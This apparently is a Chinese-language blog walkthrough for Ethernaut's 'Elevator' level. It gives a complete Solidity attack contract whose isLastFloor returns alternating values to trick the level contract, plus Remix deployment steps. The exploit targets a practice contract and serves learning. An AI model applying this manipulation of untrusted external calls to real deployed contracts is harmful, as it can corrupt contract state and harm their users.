11. Elevator

本關的關卡合約以msg.sender作為Building合約,即是Building合約現在是可以隨便寫了。

那我們就很簡單地把isLastFloor函數寫成一個,第一次會回傳False,第二次會回傳True的函數就可以了。

首先打開Console (F12),輸入

> instance

下方會回傳當前關卡合約地址。

然後打開Remix IDE,新建檔案Elevator.sol貼上:

pragma solidity ^0.8.0;

interface IElevator {
    function goTo(uint256 _floor) external;
}

contract Elevator {
    address levelInstance;
    bool side = true;

    constructor(address _levelInstance) {
        levelInstance = _levelInstance;
    }

    function isLastFloor(uint256) external returns (bool) {
        side = !side;
        return side;
    }

    function go() public {
        IElevator(levelInstance).goTo(1);
    }
}

在constructor填入關卡合約地址後發佈。

Remix IDE中,呼叫go函數。最後按提交,本關完成。

發表留言

%d 位部落客按了讚: